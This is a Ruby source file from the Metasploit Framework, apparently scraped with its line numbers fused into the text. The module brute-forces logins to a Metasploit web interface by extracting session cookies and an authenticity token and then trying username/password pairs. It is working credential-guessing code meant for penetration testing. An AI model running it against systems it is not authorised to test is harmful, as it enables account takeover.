Path: blob/master/modules/auxiliary/scanner/msf/msf_web_login.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::AuthBrute910include Msf::Auxiliary::Scanner1112def initialize13super(14'Name' => 'Metasploit Web Interface Login Utility',15'Description' => %{16This module simply attempts to login to a Metasploit17web interface using a specific user/pass.18},19'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],20'License' => MSF_LICENSE,21'DefaultOptions' => { 'SSL' => true }22)2324register_options(25[26Opt::RPORT(3790),27OptString.new('URILOGIN', [true, "URI for Metasploit Web login. Default is /login", "/login"]),28OptString.new('URIGUESS', [true, "URI for Metasploit Web login. Default is /user_sessions", "/user_sessions"]),29OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),30]31)3233register_autofilter_ports([55553])34end3536def run_host(ip)37begin38res = send_request_cgi({39'uri' => datastore['URILOGIN'],40'method' => 'GET'41}, 25)42http_fingerprint({ :response => res })43rescue ::Rex::ConnectionError => e44vprint_error("#{datastore['URILOGIN']} - #{e}")45return46end4748if not res49vprint_error(" #{datastore['URILOGIN']} - No response")50return51end52if !(res.code == 200 or res.code == 302)53vprint_error("Expected 200 HTTP code - not msf web? Got: #{res.code}")54return55end56if res.body !~ /<title>Metasploit<\/title>/57vprint_error("Expected metasploit page - not msf web interface? #{res.body}")58return59end6061each_user_pass do |user, pass|62do_login(user, pass)63end64end6566def do_login(user = 'msf', pass = 'msf')67vprint_status(" - Trying username:'#{user}' with password:'#{pass}'")68begin69res = send_request_cgi({70'uri' => datastore['URILOGIN'],71'method' => 'GET'72}, 25)7374token = ''75uisession = ''76if res and res.code == 200 and !res.get_cookies.empty?77# extract tokens from cookie78res.get_cookies.split(';').each { |c|79c.split(',').each { |v|80if v.split('=')[0] =~ /token/81token = v.split('=')[1]82elsif v.split('=')[0] =~ /_ui_session/83uisession = v.split('=')[1]84end85}86}87# extract authenticity_token from hidden field88atoken = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*)"/).flatten[0]8990if atoken.nil?91print_error("No auth token found")92return :abort93end94else95print_error("Failed to get login cookies, aborting")96return :abort97end9899res = send_request_cgi(100{101'uri' => datastore['URIGUESS'],102'method' => 'POST',103'cookie' => "token=#{token}; _ui_session=#{uisession}",104'vars_post' =>105{106'commit' => 'Sign in',107'utf8' => "\xE2\x9C\x93",108'authenticity_token' => atoken,109'user_session[username]' => user,110'user_session[password]' => pass111}112}, 25113)114115if not res or res.code != 302116vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")117return :skip_pass118end119if res.headers['Location'] =~ /\/login/120vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with wrong redirect")121return :skip_pass122else123print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")124125report_cred(126ip: datastore['RHOST'],127port: datastore['RPORT'],128service_name: 'msf-web',129user: user,130password: pass,131proof: res.headers['Location']132)133return :next_user134end135rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT136print_error("HTTP Connection Failed, Aborting")137return :abort138end139end140141def report_cred(opts)142service_data = {143address: opts[:ip],144port: opts[:port],145service_name: opts[:service_name],146protocol: 'tcp',147workspace_id: myworkspace_id148}149150credential_data = {151origin_type: :service,152module_fullname: fullname,153username: opts[:user],154private_data: opts[:password],155private_type: :password156}.merge(service_data)157158login_data = {159last_attempted_at: Time.now,160core: create_credential(credential_data),161status: Metasploit::Model::Login::Status::SUCCESSFUL,162proof: opts[:proof]163}.merge(service_data)164165create_credential_login(login_data)166end167end168169170